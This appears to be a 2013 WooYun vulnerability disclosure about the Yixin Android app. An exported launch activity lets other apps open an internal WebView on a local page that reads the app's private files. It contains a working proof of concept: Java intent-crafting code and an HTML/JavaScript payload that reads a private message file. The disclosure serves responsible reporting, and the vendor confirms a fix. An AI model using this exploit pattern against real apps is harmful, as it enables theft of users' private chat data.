当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036017

漏洞标题:易信组件存在信息泄露漏洞可导致恶意APP获取其私有目录数据(非root环境)

相关厂商:网易

漏洞作者: 小p优优

提交时间:2013-09-03 16:21

修复时间:2013-12-02 16:21

公开时间:2013-12-02 16:21

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-03: 细节已通知厂商并且等待厂商处理中
2013-09-06: 厂商已经确认,细节仅向厂商公开
2013-09-09: 细节向第三方安全合作伙伴开放
2013-10-31: 细节向核心白帽子及相关领域专家公开
2013-11-10: 细节向普通白帽子公开
2013-11-20: 细节向实习白帽子公开
2013-12-02: 细节向公众公开

简要描述:

易信的组件使用不当存在信息泄露漏洞、弹窗,恶意攻击者可能可以使用这个漏洞窃取用户隐私,或者弹一些恶意构造的广告

详细说明:

启动界面WelcomeActivity是导出的, WelcomeActivity的.method private h()V存在如下smali:

Lim/yixin/activity/WelcomeActivity;->getIntent()Landroid/content/Intent;
......
Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;......
Lim/yixin/activity/WelcomeActivity;->startActivity(Landroid/content/Intent;)V


当一个攻击app(恶意或非恶意均可以) 可以通过这个导出的组件,打开一个本地页面时,此本地页面中的可以按照攻击app的要求获取易信下的所有数据,包括聊天数据库等,盗取过程无需root,盗取之后可以发送给远程服务器!
利用细节:
这里是手动把file:///mnt/sdcard/yixin.html放在sd卡上,在攻击app中直接释放这个html
主要实现代码:

static final String YIXIN_PKG = "im.yixin";
static final String CustomWebView_ACTIVITY = "im.yixin.activity.CustomWebView";
static final String Welcome_ACTIVITY = "im.yixin.activity.WelcomeActivity";
public void attack() {
Intent contIntent = new Intent();
contIntent.putExtra("url", "file:///mnt/sdcard/yixin.html");
Intent intent = new Intent();
intent.setClassName(YIXIN_PKG, Welcome_ACTIVITY);
Class lunch = null;
File aOptimizedDexOutputPath = getDir("outdex", Context.MODE_PRIVATE);
File dexFile = new File("/data/app/im.yixin-1.apk");
if(dexFile.exists()){
DexClassLoader loader = new DexClassLoader(dexFile.toString() , aOptimizedDexOutputPath.getAbsolutePath() ,
null , ClassLoader.getSystemClassLoader());
try {
lunch = Class.forName("im.yixin.activity.CustomWebView",true,loader);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
intent.putExtra("target", lunch);
intent.putExtra("data", contIntent);
this.startActivity(intent);
}


存放在/mnt/sdcard/yixin.html内容如下:

<html>
<body>
<script type="text/javascript">
function getMessage() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
xmlhttp = request;
//获取本地文件代码
xmlhttp.open("GET", "file:////data/data/im.yixin/shared_prefs/saveTextMessage.xml", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
return ret;
}
alert(getMessage());
</script>
</body>
</html>

漏洞证明:

导出activity,导致可以打开一个本地页面时,此本地页面中的可以按照攻击app的要求获取易信下的所有数据,包括聊天数据库等,盗取过程无需root,盗取之后可以发送给远程服务器!

修复方案:

导出activity控制getIntent以及getParcelableExtra的使用

版权声明:转载请注明来源 小p优优@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-09-06 16:49

厂商回复:

感谢您对网易的关注,漏洞已经修复。

最新状态:

暂无